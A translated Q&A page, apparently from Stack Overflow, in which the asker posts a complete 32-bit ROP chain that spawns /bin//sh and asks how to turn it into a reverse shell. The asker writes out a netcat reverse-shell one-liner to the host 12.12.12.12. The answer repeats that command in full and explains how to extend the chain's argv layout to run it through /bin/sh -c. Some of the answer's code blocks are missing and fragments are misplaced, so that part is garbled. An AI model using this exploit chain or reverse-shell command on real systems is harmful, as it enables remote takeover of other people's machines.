修改ROP小工具

时间:2015-03-28 06:56:22

标签: assembly network-security stack-smash

我有一个看起来像这样的ROP小工具 -

p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80

你必须猜到它只会产生一个“/ bin // sh”。我希望它产生一个远程shell,其命令是:

rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc  12.12.12.12 12345 > /tmp/$$

任何人都可以帮我创建一个小工具来执行远程shell。我试着看这个link,但是听不懂。

1 个答案:

答案 0 :(得分:2)

问题是您的示例代码启动/bin/sh,这是一个命令,也没有参数。你想要做的是一个管道序列的命令。如果启动一个shell,并将整个命令作为参数传递给-c,则可以执行该操作。因此,你真正需要的是/bin/sh -c 'rm -f /tmp/$$; mkfifo /tmp/$$ ; cat /tmp/$$ | /bin/sh -i 2>&1 | nc 12.12.12.12 12345 > /tmp/$$'。这需要对序列进行重大修改,因为您必须构建一个参数数组。

为了保持代码简短,让我们为/bin/sh -c "echo OK"做一个例子。 execve系统调用需要一个由NULL终止的指针数组来指定参数。在原始版本中,这只是存储在NULL的{​​{1}},并且此地址已加载到.data + 8以进行系统调用。数据布局如下:

ecx

现在,我们需要添加:

+0: '/bin'
+4: '//sh'
+8: NULL

请记住,+12: argv[0] = "/bin//sh" +16: argv[1] = "-c" +20: argv[2] = "echo OK" +24: argv[3] = NULL +28: "-c" +32: 'echo' +36: " OK" 按惯例用于程序名称。此外,我们需要在argv[0]中传递.data+12以进行系统调用。

整个事情可能看起来像:

ecx

要构建命令,您只需将命令拆分为4个字节的块,并根据需要重复相应的ROP块。记得最后归零。 HTH。